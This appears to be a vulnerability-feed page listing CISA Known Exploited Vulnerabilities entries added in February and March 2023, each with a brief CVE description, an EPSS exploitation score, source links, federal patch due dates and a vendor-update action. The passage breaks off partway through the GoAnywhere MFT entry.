CISA added Mar 30, 2023; federal due date Apr 20, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Fortra Cobalt Strike Teamserver Cross-Site Scripting (XSS) Vulnerability
https://kevwire.com/record/CVE-2022-39197
Fortra Cobalt Strike Teamserver Cross-Site Scripting (XSS) Vulnerability (Mar 30, 2023).
Fortra Cobalt Strike contains a cross-site scripting (XSS) vulnerability in Teamserver that would allow an attacker to set a malformed username in the Beacon configuration, allowing them to execute code remotely.
EPSS 46.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-39197&date=2026-10-25).
Sources:
CISA KEV entry CVE-2022-39197: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-39197&date=2026-10-25
CISA added this entry on 2023-03-30. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 30, 2023; federal due date Apr 20, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Apple iOS, iPadOS, and macOS Out-of-Bounds Write Vulnerability
https://kevwire.com/record/CVE-2021-30900
Apple iOS, iPadOS, and macOS Out-of-Bounds Write Vulnerability (Mar 30, 2023).
Apple GPU drivers, included in iOS, iPadOS, and macOS, contain an out-of-bounds write vulnerability that may allow a malicious application to execute code with kernel privileges.
EPSS 5.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-30900&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-30900: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-30900&date=2026-10-25
CISA added this entry on 2023-03-30. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 30, 2023; federal due date Apr 20, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Arm Mali GPU Kernel Driver Use-After-Free Vulnerability
https://kevwire.com/record/CVE-2022-38181
Arm Mali GPU Kernel Driver Use-After-Free Vulnerability (Mar 30, 2023).
Arm Mali GPU Kernel Driver contains a use-after-free vulnerability that may allow a non-privileged user to gain root privilege and/or disclose information.
EPSS 18.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-38181&date=2026-10-25).
Sources:
CISA KEV entry CVE-2022-38181: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-38181&date=2026-10-25
CISA added this entry on 2023-03-30. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 30, 2023; federal due date Apr 20, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Linux Kernel Use-After-Free Vulnerability
https://kevwire.com/record/CVE-2023-0266
Linux Kernel Use-After-Free Vulnerability (Mar 30, 2023).
Linux kernel contains a use-after-free vulnerability that allows for privilege escalation to gain ring0 access from the system user.
EPSS 3.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-0266&date=2026-10-25).
Sources:
CISA KEV entry CVE-2023-0266: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-0266&date=2026-10-25
CISA added this entry on 2023-03-30. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 30, 2023; federal due date Apr 20, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Google Chromium Network Service Use-After-Free Vulnerability
https://kevwire.com/record/CVE-2022-3038
Google Chromium Network Service Use-After-Free Vulnerability (Mar 30, 2023).
Google Chromium Network Service contains a use-after-free vulnerability that allows a remote attacker to potentially exploit heap corruption via a crafted HTML page. This vulnerability could affect multiple web browsers that utilize Chromium, including, but not limited to, Google Chrome, Microsoft Edge, and Opera.
EPSS 24.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-3038&date=2026-10-25).
Sources:
CISA KEV entry CVE-2022-3038: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-3038&date=2026-10-25
CISA added this entry on 2023-03-30. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 30, 2023; federal due date Apr 20, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Arm Mali GPU Kernel Driver Unspecified Vulnerability
https://kevwire.com/record/CVE-2022-22706
Arm Mali GPU Kernel Driver Unspecified Vulnerability (Mar 30, 2023).
Arm Mali GPU Kernel Driver contains an unspecified vulnerability that allows a non-privileged user to achieve write access to read-only memory pages.
EPSS 1.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-22706&date=2026-10-25).
Sources:
CISA KEV entry CVE-2022-22706: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-22706&date=2026-10-25
CISA added this entry on 2023-03-30. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 30, 2023; federal due date Apr 20, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Adobe ColdFusion Deserialization of Untrusted Data Vulnerability
https://kevwire.com/record/CVE-2023-26360
Adobe ColdFusion Deserialization of Untrusted Data Vulnerability (Mar 15, 2023).
Adobe ColdFusion contains a deserialization of untrusted data vulnerability that allows for remote code execution.
EPSS 97.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-26360&date=2026-10-25).
Sources:
CISA KEV entry CVE-2023-26360: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-26360&date=2026-10-25
CISA added this entry on 2023-03-15. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 15, 2023; federal due date Apr 5, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Office Outlook Privilege Escalation Vulnerability
https://kevwire.com/record/CVE-2023-23397
Microsoft Office Outlook Privilege Escalation Vulnerability (Mar 14, 2023).
Microsoft Office Outlook contains a privilege escalation vulnerability that allows for a NTLM Relay attack against another service to authenticate as the user.
EPSS 97.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-23397&date=2026-10-25).
Sources:
CISA KEV entry CVE-2023-23397: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-23397&date=2026-10-25
CISA added this entry on 2023-03-14. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 14, 2023; federal due date Apr 4, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Windows SmartScreen Security Feature Bypass Vulnerability
https://kevwire.com/record/CVE-2023-24880
Microsoft Windows SmartScreen Security Feature Bypass Vulnerability (Mar 14, 2023).
Microsoft Windows SmartScreen contains a security feature bypass vulnerability that could allow an attacker to evade Mark of the Web (MOTW) defenses via a specially crafted malicious file.
EPSS 78.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-24880&date=2026-10-25).
Sources:
CISA KEV entry CVE-2023-24880: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-24880&date=2026-10-25
CISA added this entry on 2023-03-14. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 14, 2023; federal due date Apr 4, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Fortinet FortiOS Path Traversal Vulnerability
https://kevwire.com/record/CVE-2022-41328
Fortinet FortiOS Path Traversal Vulnerability (Mar 14, 2023).
Fortinet FortiOS contains a path traversal vulnerability that may allow a local privileged attacker to read and write files via crafted CLI commands.
EPSS 10.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-41328&date=2026-10-25).
Sources:
CISA KEV entry CVE-2022-41328: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-41328&date=2026-10-25
CISA added this entry on 2023-03-14. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 14, 2023; federal due date Apr 4, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### XStream Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2021-39144
XStream Remote Code Execution Vulnerability (Mar 10, 2023).
XStream contains a remote code execution vulnerability that allows an attacker to manipulate the processed input stream and replace or inject objects that result in the execution of a local command on the server. This vulnerability can affect multiple products, including but not limited to VMware Cloud Foundation.
EPSS 98.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-39144&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-39144: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-39144&date=2026-10-25
CISA added this entry on 2023-03-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 10, 2023; federal due date Mar 31, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Plex Media Server Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2020-5741
Plex Media Server Remote Code Execution Vulnerability (Mar 10, 2023).
Plex Media Server contains a remote code execution vulnerability that allows an attacker with access to the server administrator's Plex account to upload a malicious file via the Camera Upload feature and have the media server execute it.
EPSS 72.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-5741&date=2026-10-25).
Sources:
CISA KEV entry CVE-2020-5741: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-5741&date=2026-10-25
CISA added this entry on 2023-03-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 10, 2023; federal due date Mar 31, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Zoho ManageEngine ADSelfService Plus Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2022-28810
Zoho ManageEngine ADSelfService Plus Remote Code Execution Vulnerability (Mar 7, 2023).
Zoho ManageEngine ADSelfService Plus contains an unspecified vulnerability allowing for remote code execution when performing a password change or reset.
EPSS 71.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-28810&date=2026-10-25).
Sources:
CISA KEV entry CVE-2022-28810: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-28810&date=2026-10-25
CISA added this entry on 2023-03-07. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 7, 2023; federal due date Mar 28, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Apache Spark Command Injection Vulnerability
https://kevwire.com/record/CVE-2022-33891
Apache Spark Command Injection Vulnerability (Mar 7, 2023).
Apache Spark contains a command injection vulnerability via Spark User Interface (UI) when Access Control Lists (ACLs) are enabled.
EPSS 93.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-33891&date=2026-10-25).
Sources:
CISA KEV entry CVE-2022-33891: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-33891&date=2026-10-25
CISA added this entry on 2023-03-07. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 7, 2023; federal due date Mar 28, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Teclib GLPI Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2022-35914
Teclib GLPI Remote Code Execution Vulnerability (Mar 7, 2023).
Teclib GLPI contains a remote code execution vulnerability in the third-party library, htmlawed.
EPSS 99.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-35914&date=2026-10-25).
Sources:
CISA KEV entry CVE-2022-35914: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-35914&date=2026-10-25
CISA added this entry on 2023-03-07. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 7, 2023; federal due date Mar 28, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### ZK Framework AuUploader Unspecified Vulnerability
https://kevwire.com/record/CVE-2022-36537
ZK Framework AuUploader Unspecified Vulnerability (Feb 27, 2023).
ZK Framework AuUploader servlets contain an unspecified vulnerability that could allow an attacker to retrieve the content of a file located in the web context. The ZK Framework is an open-source Java framework. This vulnerability can impact multiple products, including but not limited to ConnectWise R1Soft Server Backup Manager.
EPSS 95.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-36537&date=2026-10-25).
Sources:
CISA KEV entry CVE-2022-36537: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-36537&date=2026-10-25
CISA added this entry on 2023-02-27. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Feb 27, 2023; federal due date Mar 20, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### IBM Aspera Faspex Code Execution Vulnerability
https://kevwire.com/record/CVE-2022-47986
IBM Aspera Faspex Code Execution Vulnerability (Feb 21, 2023).
IBM Aspera Faspex could allow a remote attacker to execute code on the system, caused by a YAML deserialization flaw.
EPSS 100.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-47986&date=2026-10-25).
Sources:
CISA KEV entry CVE-2022-47986: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-47986&date=2026-10-25
CISA added this entry on 2023-02-21. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Feb 21, 2023; federal due date Mar 14, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Mitel MiVoice Connect Code Injection Vulnerability
https://kevwire.com/record/CVE-2022-41223
Mitel MiVoice Connect Code Injection Vulnerability (Feb 21, 2023).
The Director component in Mitel MiVoice Connect allows an authenticated attacker with internal network access to execute code within the context of the application.
EPSS 10.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-41223&date=2026-10-25).
Sources:
CISA KEV entry CVE-2022-41223: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-41223&date=2026-10-25
CISA added this entry on 2023-02-21. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Feb 21, 2023; federal due date Mar 14, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Mitel MiVoice Connect Command Injection Vulnerability
https://kevwire.com/record/CVE-2022-40765
Mitel MiVoice Connect Command Injection Vulnerability (Feb 21, 2023).
The Mitel Edge Gateway component of MiVoice Connect allows an authenticated attacker with internal network access to execute commands within the context of the system.
EPSS 10.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-40765&date=2026-10-25).
Sources:
CISA KEV entry CVE-2022-40765: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-40765&date=2026-10-25
CISA added this entry on 2023-02-21. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Feb 21, 2023; federal due date Mar 14, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Cacti Command Injection Vulnerability
https://kevwire.com/record/CVE-2022-46169
Cacti Command Injection Vulnerability (Feb 16, 2023).
Cacti contains a command injection vulnerability that allows an unauthenticated user to execute code.
EPSS 99.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-46169&date=2026-10-25).
Sources:
CISA KEV entry CVE-2022-46169: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-46169&date=2026-10-25
CISA added this entry on 2023-02-16. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Feb 16, 2023; federal due date Mar 9, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Office Publisher Security Feature Bypass Vulnerability
https://kevwire.com/record/CVE-2023-21715
Microsoft Office Publisher Security Feature Bypass Vulnerability (Feb 14, 2023).
Microsoft Office Publisher contains a security feature bypass vulnerability that allows for a local, authenticated attack on a targeted system.
EPSS 12.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-21715&date=2026-10-25).
Sources:
CISA KEV entry CVE-2023-21715: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-21715&date=2026-10-25
CISA added this entry on 2023-02-14. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Feb 14, 2023; federal due date Mar 7, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Windows Common Log File System (CLFS) Driver Privilege Escalation Vulnerability
https://kevwire.com/record/CVE-2023-23376
Microsoft Windows Common Log File System (CLFS) Driver Privilege Escalation Vulnerability (Feb 14, 2023).
Microsoft Windows Common Log File System (CLFS) driver contains an unspecified vulnerability that allows for privilege escalation.
EPSS 10.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-23376&date=2026-10-25).
Sources:
CISA KEV entry CVE-2023-23376: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-23376&date=2026-10-25
CISA added this entry on 2023-02-14. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Feb 14, 2023; federal due date Mar 7, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Apple Multiple Products WebKit Type Confusion Vulnerability
https://kevwire.com/record/CVE-2023-23529
Apple Multiple Products WebKit Type Confusion Vulnerability (Feb 14, 2023).
Apple iOS, MacOS, Safari and iPadOS WebKit contain a type confusion vulnerability that leads to code execution when processing maliciously crafted web content. This vulnerability could impact HTML parsers that use WebKit, including but not limited to Apple Safari and non-Apple products which rely on WebKit for HTML processing.
EPSS 9.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-23529&date=2026-10-25).
Sources:
CISA KEV entry CVE-2023-23529: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-23529&date=2026-10-25
CISA added this entry on 2023-02-14. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Feb 14, 2023; federal due date Mar 7, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Windows Graphic Component Privilege Escalation Vulnerability
https://kevwire.com/record/CVE-2023-21823
Microsoft Windows Graphic Component Privilege Escalation Vulnerability (Feb 14, 2023).
Microsoft Windows Graphic Component contains an unspecified vulnerability that allows for privilege escalation.
EPSS 5.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-21823&date=2026-10-25).
Sources:
CISA KEV entry CVE-2023-21823: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-21823&date=2026-10-25
CISA added this entry on 2023-02-14. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Feb 14, 2023; federal due date Mar 7, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Intel Ethernet Diagnostics Driver for Windows Denial-of-Service Vulnerability
https://kevwire.com/record/CVE-2015-2291
Intel Ethernet Diagnostics Driver for Windows Denial-of-Service Vulnerability (Feb 10, 2023).
Intel ethernet diagnostics driver for Windows IQVW32.sys and IQVW64.sys contain an unspecified vulnerability that allows for a denial-of-service (DoS).
EPSS 15.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2015-2291&date=2026-10-25).
Sources:
CISA KEV entry CVE-2015-2291: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2015-2291&date=2026-10-25
CISA added this entry on 2023-02-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Feb 10, 2023; federal due date Mar 3, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### TerraMaster OS Remote Command Execution Vulnerability
https://kevwire.com/record/CVE-2022-24990
TerraMaster OS Remote Command Execution Vulnerability (Feb 10, 2023).
TerraMaster OS contains a remote command execution vulnerability that allows an unauthenticated user to execute commands on the target endpoint.
EPSS 83.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-24990&date=2026-10-25).
Sources:
CISA KEV entry CVE-2022-24990: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-24990&date=2026-10-25
CISA added this entry on 2023-02-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Feb 10, 2023; federal due date Mar 3, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Fortra GoAnywhere MFT Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2023-0669
Fortra GoAnywhere MFT Remote Code Execution Vulnerability (Feb 10, 2023).
Fortra (formerly, HelpSystems) GoAnywhere MFT contains a pre-authentication remote code execution vulnerability in the License Response Servlet due to deserializing an attacker-controlled object.
EPSS 100.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-0669&date=2026-10-25).
Sources:
CISA KEV entry CVE-2023-0669: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
